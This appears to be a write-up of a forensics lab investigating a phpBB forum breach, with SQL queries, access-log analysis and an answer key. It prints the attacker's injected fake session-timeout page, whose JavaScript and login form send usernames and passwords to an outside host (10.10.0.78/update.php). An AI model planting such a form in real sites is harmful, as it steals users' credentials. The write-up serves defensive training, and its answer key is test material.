Bumblebee

17th July 2023

Prepared by: Blitztide

Machine Author(s): Blitztide

Difficulty: Easy

Scenario

```
An external contractor has accessed the internal forum here at Forela via the Guest WiFi and
they appear to have stolen credentials for the administrative user!
I have attached some logs from the forum and a full database dump in sqlite3 format to help
you in your investigation.
```

Artefacts Provided

- Incident.zip - e4091f7081f5887da94458d981968c3f703b5508

Initial Analysis

To do the initial analysis the `phpbb.sqlite3` file was opened in `DB Browser for SQLite`.

We first looked for areas within the database where useful information can be contained and found `phpbb_users` and `phpbb_log`

To get the schema we ran the following command:

```
.schema phpbb_users
`phpbb_users` (
  `user_id` integer  NOT NULL PRIMARY KEY AUTOINCREMENT
,  `user_type` integer NOT NULL DEFAULT 0
,  `group_id` integer  NOT NULL DEFAULT 3
,  `user_permissions` mediumtext NOT NULL
,  `user_perm_from` integer  NOT NULL DEFAULT 0
,  `user_ip` varchar(40) NOT NULL DEFAULT ''
,  `user_regdate` integer  NOT NULL DEFAULT 0
,  `username` varchar(255) NOT NULL DEFAULT ''
,  `username_clean` varchar(255) NOT NULL DEFAULT ''
,  `user_password` varchar(255) NOT NULL DEFAULT ''
,  `user_passchg` integer  NOT NULL DEFAULT 0
,  `user_email` varchar(100) NOT NULL DEFAULT ''
,  `user_email_hash` integer NOT NULL DEFAULT 0
,  `user_birthday` varchar(10) NOT NULL DEFAULT ''
,  `user_lastvisit` integer  NOT NULL DEFAULT 0
,  `user_lastmark` integer  NOT NULL DEFAULT 0
,  `user_lastpost_time` integer  NOT NULL DEFAULT 0
,  `user_lastpage` varchar(200) NOT NULL DEFAULT ''
,  `user_last_confirm_key` varchar(10) NOT NULL DEFAULT ''
,  `user_last_search` integer  NOT NULL DEFAULT 0
,  `user_warnings` integer NOT NULL DEFAULT 0
,  `user_last_warning` integer  NOT NULL DEFAULT 0
,  `user_login_attempts` integer NOT NULL DEFAULT 0
,  `user_inactive_reason` integer NOT NULL DEFAULT 0
,  `user_inactive_time` integer  NOT NULL DEFAULT 0
,  `user_posts` integer  NOT NULL DEFAULT 0
,  `user_lang` varchar(30) NOT NULL DEFAULT ''
,  `user_timezone` varchar(100) NOT NULL DEFAULT ''
```

```
,  `user_dateformat` varchar(64) NOT NULL DEFAULT 'd M Y H:i'
,  `user_style` integer  NOT NULL DEFAULT 0
,  `user_rank` integer  NOT NULL DEFAULT 0
,  `user_colour` varchar(6) NOT NULL DEFAULT ''
,  `user_new_privmsg` integer NOT NULL DEFAULT 0
,  `user_unread_privmsg` integer NOT NULL DEFAULT 0
,  `user_last_privmsg` integer  NOT NULL DEFAULT 0
,  `user_message_rules` integer  NOT NULL DEFAULT 0
,  `user_full_folder` integer NOT NULL DEFAULT -3
,  `user_emailtime` integer  NOT NULL DEFAULT 0
,  `user_topic_show_days` integer  NOT NULL DEFAULT 0
,  `user_topic_sortby_type` varchar(1) NOT NULL DEFAULT 't'
,  `user_topic_sortby_dir` varchar(1) NOT NULL DEFAULT 'd'
,  `user_post_show_days` integer  NOT NULL DEFAULT 0
,  `user_post_sortby_type` varchar(1) NOT NULL DEFAULT 't'
,  `user_post_sortby_dir` varchar(1) NOT NULL DEFAULT 'a'
,  `user_notify` integer  NOT NULL DEFAULT 0
,  `user_notify_pm` integer  NOT NULL DEFAULT 1
,  `user_notify_type` integer NOT NULL DEFAULT 0
,  `user_allow_pm` integer  NOT NULL DEFAULT 1
,  `user_allow_viewonline` integer  NOT NULL DEFAULT 1
,  `user_allow_viewemail` integer  NOT NULL DEFAULT 1
,  `user_allow_massemail` integer  NOT NULL DEFAULT 1
,  `user_options` integer  NOT NULL DEFAULT 230271
,  `user_avatar` varchar(255) NOT NULL DEFAULT ''
,  `user_avatar_type` varchar(255) NOT NULL DEFAULT ''
,  `user_avatar_width` integer  NOT NULL DEFAULT 0
,  `user_avatar_height` integer  NOT NULL DEFAULT 0
,  `user_sig` mediumtext NOT NULL
,  `user_sig_bbcode_uid` varchar(8) NOT NULL DEFAULT ''
,  `user_sig_bbcode_bitfield` varchar(255) NOT NULL DEFAULT ''
,  `user_jabber` varchar(255) NOT NULL DEFAULT ''
,  `user_actkey` varchar(32) NOT NULL DEFAULT ''
,  `user_newpasswd` varchar(255) NOT NULL DEFAULT ''
,  `user_form_salt` varchar(32) NOT NULL DEFAULT ''
,  `user_new` integer  NOT NULL DEFAULT 1
,  `user_reminded` integer NOT NULL DEFAULT 0
,  `user_reminded_time` integer  NOT NULL DEFAULT 0
,  UNIQUE (`username_clean`)
);
CREATE INDEX "idx_phpbb_users_user_birthday" ON "phpbb_users"
(`user_birthday`);
CREATE INDEX "idx_phpbb_users_user_email_hash" ON "phpbb_users"
(`user_email_hash`);
CREATE INDEX "idx_phpbb_users_user_type" ON "phpbb_users"
(`user_type`);
```

This identified the useful fields `user_id,username,user_email,user_lastvisit,user_ip`

To identify the users within the system we searched through `phpbb_users` table using the following search:

```
user_id username    user_ip user_email  user_lastvisit
1   Anonymous           0
2   admin   10.255.254.2    admin@forela.co.uk  1681298759
3   AdsBot [Google]         0
4   Alexa [Bot]         0
5   Alta Vista [Bot]            0
6   Ask Jeeves [Bot]            0
7   Baidu [Spider]          0
8   Bing [Bot]          0
9   Exabot [Bot]            0
10  FAST Enterprise [Crawler]           0
11  FAST WebCrawler [Crawler]           0
12  Francis [Bot]           0
13  Gigabot [Bot]           0
14  Google Adsense [Bot]            0
15  Google Desktop          0
16  Google Feedfetcher          0
17  Google [Bot]            0
18  Heise IT-Markt [Crawler]            0
19  Heritrix [Crawler]          0
20  IBM Research [Bot]          0
21  ICCrawler - ICjobs          0
22  ichiro [Crawler]            0
23  Majestic-12 [Bot]           0
24  Metager [Bot]           0
25  MSN NewsBlogs           0
26  MSN [Bot]           0
27  MSNbot Media            0
28  Nutch [Bot]         0
29  Online link [Validator]         0
30  psbot [Picsearch]           0
31  Sensis [Crawler]            0
32  SEO Crawler         0
33  Seoma [Crawler]         0
34  SEOSearch [Crawler]         0
35  Snappy [Bot]            0
36  Steeler [Crawler]           0
37  Telekom [Bot]           0
38  TurnitinBot [Bot]           0
39  Voyager [Bot]           0
```

```
40  W3 [Sitesearch]         0
41  W3C [Linkcheck]         0
42  W3C [Validator]         0
43  YaCy [Bot]          0
44  Yahoo MMCrawler [Bot]           0
45  Yahoo Slurp [Bot]           0
46  Yahoo [Bot]         0
47  YahooSeeker [Bot]           0
48  phpbb-admin 10.255.254.2    phpbb-admin@mailinator.com  1682506869
49  test    10.255.254.2        1681298949
50  rsavage001  10.255.254.2        1681833634
51  apoole  10.10.0.78  apoole@contractor.net   0
52  apoole1 10.10.0.78  apoole1@contractor.net  1682425447
```

This search revealed two users that could be contractors `apoole` and `apoole1` , where only `apoole1` has actively been logged in and his IP address was `10.10.0.78`, we now use this to correlate logs across the database and `access.log`.

We now search through the `phpbb_posts` table and find a single post by the IP address `10.10.0.78` and the user_id of `52`, we can do this nicely with an SQL inner join as follows.

```
SELECT phpbb_posts.post_id,
phpbb_posts.post_time,phpbb_posts.poster_ip,phpbb_users.username,phpbb_
posts.post_subject FROM phpbb_posts INNER JOIN phpbb_users ON
phpbb_posts.poster_id = phpbb_users.user_id;

post_id post_time   poster_ip   username    post_subject
1   1681296980  10.255.254.2    admin   Welcome to phpBB3
2   1681832510  10.255.254.2    rsavage001  Introduction Randy Savage
9   1682425042  10.10.0.78  apoole1 Hello Everyone
```

We can export the data from the `post_text` field which returns a very strange html output which can be seen below:

forum.forela.co.uk

Forela internal forum

Skip to content

Search… Search Advanced search

- Quick links
  - Unanswered topics
  - Active topics
  - Search
- FAQ
- Login
- Register

- Board index
- Search

Session Timeout

Your session token has timed out in order to proceed you must login again.

Login

Username:

Password:

Remember me
Hide my online status this session

This page is identical to the normal phpbb session timeout screens, once the user has submitted their credentials it will then display the normal text:

```
Greetings everyone,

I am just a visiting IT Contractor, it's a fantastic company y'all have here.
I hope to work with you all again soon.

Regards,
Alex Poole
```

Looking through the code for the page we can find three Javascript functions:

```
function sethidden() {
    const d = new Date();
    d.setTime(d.getTime() + (24 * 60 * 60 * 1000));
    let expires = "expires=" + d.toUTCString();
    document.cookie = "phpbb_token=1;" + expires + ";";
    var modal = document.getElementById('zbzbz1234');
    modal.classList.add("hidden");
}
document.addEventListener("DOMContentLoaded", function(event) {
    let cookieexists = false;
    let name = "phpbb_token=";
    let cookies = decodeURIComponent(document.cookie);
    let ca = cookies.split(';');
    for (let i = 0; i < ca.length; i++) {
        let c = ca[i];
        while (c.charAt(0) == ' ') {
            c = c.substring(1);
        }
        if (c.indexOf(name) == 0) {
            cookieexists = true;
        }
    }
    if (cookieexists) {
        return;
    }
    var modal = document.getElementById('zbzbz1234');
    modal.classList.remove("hidden");
});
```

This code appears to wait for the page to be rendered, checks for the existence of a cookie called `phpbb_token` then disabled the `hidden` attribute on a element with the ID `zbzbz1234`.

When `sethidden()` is called it will generate a new cookie with an expiry time of +24 hours and will set the `hidden` attribute back to `true`.

Looking through the HTML we can find the form that uses the `sethidden()` function, and it writes a `POST` request to the URL `http://10.10.0.78/update.php`

```
<form action="http://10.10.0.78/update.php" method="post" id="login"
```

```
data-focus="username" target="hiddenframe">
  <div class="panel">
    <div class="inner">
      <div class="content">
        <h2 class="login-title">Login</h2>
        <fieldset class="fields1">
          <dl>
            <dt>
              <label for="username">Username:</label>
            </dt>
            <dd>
              <input type="text" tabindex="1" name="username"
id="username" size="25" value="" class="inputbox autowidth">
            </dd>
          </dl>
          <dl>
            <dt>
              <label for="password">Password:</label>
            </dt>
            <dd>
              <input type="password" tabindex="2" id="password"
name="password" size="25" class="inputbox autowidth"
autocomplete="off">
            </dd>
          </dl>
          <dl>
            <dd>
              <label for="autologin">
                <input type="checkbox" name="autologin" id="autologin"
tabindex="4">Remember me </label>
            </dd>
            <dd>
              <label for="viewonline">
                <input type="checkbox" name="viewonline"
id="viewonline" tabindex="5">Hide my online status this session
</label>
            </dd>
          </dl>
          <dl>
            <dt> </dt>
            <dd>
              <input type="submit" name="login" tabindex="6"
value="Login" class="button1" onclick="sethidden()">
            </dd>
          </dl>
        </fieldset class="fields1">
      </div>
    </div>
```

```
  </div>
</form>
```

To find the LDAP credentials we checked the table `phpbb_config`, which appears to be a flat keyvalue table.

```
select * from phpbb_config WHERE config_name like 'ldap_%';

config_name config_value    is_dynamic
ldap_base_dn    OU=Forela,DC=forela,DC=local    0
ldap_email      0
ldap_password   Passw0rd1   0
ldap_port       0
ldap_server 10.10.0.11  0
ldap_uid    sAMAccountName  0
ldap_user   CN=phpbb-admin,OU=Service,OU=Forela,DC=forela,DC=local  0
ldap_user_filter        0
```

The key `ldap_password` contains the LDAP BIND password to allow phpbb to authenticate against the domain which is `Passw0rd1`

To find the times where the user added themselves to the administrator group, we need to check in the `phpbb_log` table with the following query.

```
select
  log_id,
  phpbb_users.username,
  log_ip,
  datetime(log_time, 'unixepoch'),
  log_operation,
  log_data
from
  phpbb_log
  inner join phpbb_users on phpbb_log.user_id = phpbb_users.user_id;


log_id  username    log_ip  datetime(log_time,'unixepoch')  log_operation   log_data
49  phpbb-admin 10.255.254.2    2023-04-24 16:10:16 LOG_CLEAR_ADMIN
50  phpbb-admin 10.255.254.2    2023-04-24 16:17:18 LOG_CONFIG_REGISTRATION
52  phpbb-admin 10.255.254.2    2023-04-25 11:09:07 LOG_ADMIN_AUTH_SUCCESS
53  phpbb-admin 10.255.254.2    2023-04-25 11:09:20 LOG_USER_NEW_PASSWORD   a:1:{i:0;s:6:"apoole";}
54  phpbb-admin 10.255.254.2    2023-04-25 11:09:22 LOG_USER_USER_UPDATE    a:1:{i:0;s:6:"apoole";}
55  phpbb-admin 10.255.254.2    2023-04-25 11:09:23 LOG_USER_USER_UPDATE    a:1:{i:0;s:6:"apoole";}
56  phpbb-admin 10.255.254.2    2023-04-25 11:46:07 LOG_EXT_ENABLE  a:1:{i:0;s:13:"rokx/dborldap";}
57  phpbb-admin 10.255.254.2    2023-04-25 11:47:31 LOG_CONFIG_AUTH
58  phpbb-admin 10.255.254.2    2023-04-25 11:48:06 LOG_USER_NEW_PASSWORD   a:1:{i:0;s:6:"apoole";}
59  phpbb-admin 10.255.254.2    2023-04-25 11:48:06 LOG_USER_USER_UPDATE    a:1:{i:0;s:6:"apoole";}
60  phpbb-admin 10.255.254.2    2023-04-25 12:13:56 LOG_CONFIG_AUTH
61  phpbb-admin 10.10.0.78  2023-04-26 10:53:12 LOG_ADMIN_AUTH_SUCCESS
62  phpbb-admin 10.10.0.78  2023-04-26 10:53:51 LOG_USERS_ADDED a:2:{i:0;s:14:"Administrators";i:1;s:6:"apoole";}
63  phpbb-admin 10.10.0.78  2023-04-26 10:54:31 LOG_DB_BACKUP
```

this log allows us to see that the real administrator appears to be using the IP address `10.255.254.2` and it also shows that the user was added to the administrator group at the time `2023-04-26 10:53:51`. The contractor appears to have started at backup of the server at `10:54:31` which means we can see the download in `access.log`

To find the Administrator's useragent string, we can use `grep` to find all logs from the IP address `10.255.254.2`

We can now see:

```
grep -E '^10.255.254.2' access.log | head

10.255.254.2 - - [25/Apr/2023:12:08:42 +0100] "GET /adm/index.php?sid=ac1490e6c806ac0403c6c116c1d15fa6&i=12
HTTP/1.1" 403 9412 "http://10.10.0.27/adm/index.php?sid=ac1490e6c806ac0403c6c116c1d15fa6&i=1" "Mozilla/5.0
(Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:08:42 +0100] "GET /app.php/feed?sid=09806b0063764bf3f30292abbad0801f HTTP/1.1"
200 1725 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:08:42 +0100] "GET /app.php/feed/topics?sid=09806b0063764bf3f30292abbad0801f
HTTP/1.1" 200 1758 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:08:43 +0100] "GET /ucp.php?mode=login&sid=09806b0063764bf3f30292abbad0801f
HTTP/1.1" 200 3436 "http://10.10.0.27/adm/index.php?sid=ac1490e6c806ac0403c6c116c1d15fa6&i=12" "Mozilla/5.0
(Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:08:43 +0100] "GET /app.php/feed/topics?sid=09806b0063764bf3f30292abbad0801f
HTTP/1.1" 200 1757 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:08:43 +0100] "GET /app.php/feed?sid=09806b0063764bf3f30292abbad0801f HTTP/1.1"
200 1724 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:09:02 +0100] "POST /ucp.php?mode=login&sid=09806b0063764bf3f30292abbad0801f
HTTP/1.1" 302 633 "http://10.10.0.27/ucp.php?mode=login&sid=09806b0063764bf3f30292abbad0801f" "Mozilla/5.0
(Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:09:02 +0100] "GET /index.php?sid=0929f9a0759af2b8852c20426857aab2 HTTP/1.1" 200
4350 "http://10.10.0.27/ucp.php?mode=login&sid=09806b0063764bf3f30292abbad0801f" "Mozilla/5.0 (Macintosh; Intel
Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:09:03 +0100] "GET /app.php/feed?sid=0929f9a0759af2b8852c20426857aab2 HTTP/1.1"
200 1743 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:09:03 +0100] "GET /app.php/feed/topics?sid=0929f9a0759af2b8852c20426857aab2
HTTP/1.1" 200 1776 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.0.0 Safari/537.36"
```

which gives us a user agent of `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36`

And the final question is regarding the database backup and download, we can now just search for logs that are from the attacker IP address `10.10.0.78` and after the time that the `phpbb_log` states that the database backup was created.

```
grep -E '^10.10.0.78' access.log | grep '26/Apr/2023:1' | tail

10.10.0.78 - - [26/Apr/2023:11:59:35 +0100] "GET /adm/images/icon_down_disabled.gif HTTP/1.1" 200 450
"http://10.10.0.27/adm/index.php?sid=eca30c1b75dc3eed1720423aa1ff9577&i=6" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:11:59:35 +0100] "GET /adm/images/icon_down.gif HTTP/1.1" 200 523
"http://10.10.0.27/adm/index.php?sid=eca30c1b75dc3eed1720423aa1ff9577&i=6" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:11:59:35 +0100] "GET /adm/images/icon_edit.gif HTTP/1.1" 200 525
"http://10.10.0.27/adm/index.php?sid=eca30c1b75dc3eed1720423aa1ff9577&i=6" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:11:59:35 +0100] "GET /adm/images/icon_delete.gif HTTP/1.1" 200 538
"http://10.10.0.27/adm/index.php?sid=eca30c1b75dc3eed1720423aa1ff9577&i=6" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:11:59:35 +0100] "GET /adm/images/icon_sync.gif HTTP/1.1" 200 534
"http://10.10.0.27/adm/index.php?sid=eca30c1b75dc3eed1720423aa1ff9577&i=6" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:12:00:08 +0100] "GET /adm/index.php?sid=eca30c1b75dc3eed1720423aa1ff9577&i=25
HTTP/1.1" 200 3704 "http://10.10.0.27/adm/index.php?sid=eca30c1b75dc3eed1720423aa1ff9577&i=6" "Mozilla/5.0
(Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:12:01:09 +0100] "GET /adm/index.php?
sid=eca30c1b75dc3eed1720423aa1ff9577&i=acp_database&mode=backup HTTP/1.1" 200 3770
"http://10.10.0.27/adm/index.php?sid=eca30c1b75dc3eed1720423aa1ff9577&i=25" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:12:01:38 +0100] "GET /store/backup_1682506471_dcsr71p7fyijoyq8.sql.gz HTTP/1.1" 200
34707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:12:01:52 +0100] "GET /ucp.php?mode=logout&sid=eca30c1b75dc3eed1720423aa1ff9577
HTTP/1.1" 302 949 "http://10.10.0.27/adm/index.php?
sid=eca30c1b75dc3eed1720423aa1ff9577&i=acp_database&mode=backup" "Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:12:01:53 +0100] "GET /index.php?sid=be3cc6e2de08bafa4044f552813e2cbe HTTP/1.1" 200
3796 "http://10.10.0.27/adm/index.php?sid=eca30c1b75dc3eed1720423aa1ff9577&i=acp_database&mode=backup"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
```

This gives us the final answers for the database download at `2023-04-26 11:01:38` with the filesize of `34707`.

Questions

1. What was the username of the external contractor?
   `apoole1`
2. What IP address did the contractor use to create their account?
   `10.10.0.78`
3. What is the `post_id` of the malicious post that the contractor made?
   `9`
4. What is the full URI that the credential stealer sends its data to?
   `http://10.10.0.78/update.php`
5. When did the contractor log into the forum as the administrator? *Format YYYY-MM-DD HH:MM:SS UTC*
   `2023-04-26 10:53:12`
6. In the forum there are plaintext credentials for the LDAP connection, what is the password?
   `Passw0rd1`

7. What is the user agent of the Administrator user?
   `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36`
8. What time did the contractor add themselves to the Administrator group? *Format YYYY-MM-DD HH:MM:SS UTC*
   `2023-04-26 10:53:51`
9. What time did the contractor download the database backup?
   `2023-04-26 11:01:38`
10. What was the size in bytes of the database backup as stated by `access.log`?
    `34707`